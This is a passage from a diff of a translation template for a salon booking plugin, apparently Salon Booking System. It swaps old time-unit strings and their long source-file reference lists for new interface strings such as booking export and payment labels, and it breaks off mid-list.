build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFormatter.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFormatter.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFormatter.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFormatter.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35\n-msgid \"free\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1030\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1030\n+msgid \"All users name\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFormatter.php:107, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFormatter.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFormatter.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFormatter.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFormatter.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFormatter.php:107\n-msgid \"hr\"\n-msgid_plural \"hrs\"\n-msgstr[0] \"\"\n-msgstr[1] \"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:602\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:602\n+msgid \"Allow Assistants to export bookings to CSV\"\n+msgstr \"\"\n \n-#: src\u002FSLN\u002FFormatter.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFormatter.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFormatter.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFormatter.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFormatter.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFormatter.php:108\n-msgid \"mn\"\n-msgid_plural \"mns\"\n-msgstr[0] \"\"\n-msgstr[1] \"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:87\n+msgid \"Allow bookings if reCAPTCHA service is unavailable\"\n+msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:162, src\u002FSLN\u002FFunc.php:180, views\u002Fmetabox\u002Fservice.php:221, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:180, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:221, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:180, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:221\n-msgid \"hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:52\n+msgid \"Allow customers to select multiple duration units\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:163, src\u002FSLN\u002FFunc.php:164, src\u002FSLN\u002FFunc.php:165, src\u002FSLN\u002FFunc.php:166, src\u002FSLN\u002FFunc.php:167, src\u002FSLN\u002FFunc.php:168, src\u002FSLN\u002FFunc.php:169, src\u002FSLN\u002FFunc.php:170, src\u002FSLN\u002FFunc.php:181, src\u002FSLN\u002FFunc.php:182, src\u002FSLN\u002FFunc.php:183, src\u002FSLN\u002FFunc.php:184, src\u002FSLN\u002FFunc.php:185, views\u002Fmetabox\u002Fservice.php:222, views\u002Fmetabox\u002Fservice.php:223, views\u002Fmetabox\u002Fservice.php:224, views\u002Fmetabox\u002Fservice.php:225, views\u002Fmetabox\u002Fservice.php:226, views\u002Fmetabox\u002Fservice.php:227, views\u002Fmetabox\u002Fservice.php:228, views\u002Fmetabox\u002Fservice.php:229, views\u002Fmetabox\u002Fservice.php:264, views\u002Fmetabox\u002Fservice.php:265, views\u002Fmetabox\u002Fservice.php:266, views\u002Fmetabox\u002Fservice.php:267, views\u002Fmetabox\u002Fservice.php:268, views\u002Fmetabox\u002Fservice.php:269, views\u002Fmetabox\u002Fservice.php:270, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:165, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:166, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:168, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:169, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:181, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:182, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:183, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:222, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:223, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:224, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:226, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:228, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:229, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:264, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:265, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:266, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:267, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:268, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:269, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:270, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:165, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:168, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:169, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:181, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:182, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:183, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:222, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:223, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:224, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:225, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:226, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:228, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:229, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:264, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:265, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:266, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:267, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:268, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:269, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:270\n-msgid \"hours\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9\n+msgid \"Allow new bookings to start during service break periods.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:177\n-msgid \"5 minutes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:142\n+msgid \"Already paid\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:178\n-msgid \"quarter of an hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148\n+msgid \"already paid as deposit\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:179, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:179, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:179\n-msgid \"half hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:149\n+msgid \"Always\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:186, views\u002Fsettings\u002Ftab_general.php:362, views\u002Fsettings\u002F_tab_booking_rescheduling.php:28, views\u002Fsettings\u002F_tab_booking_rescheduling.php:30, src\u002FSLN\u002FUpdate\u002FManager.php:679, src\u002FSLN\u002FUpdate\u002FManager.php:674, src\u002FSLN\u002FUpdate\u002FPage.php:295, src\u002FSLN\u002FUpdate\u002FPage.php:289, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:362, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:362, 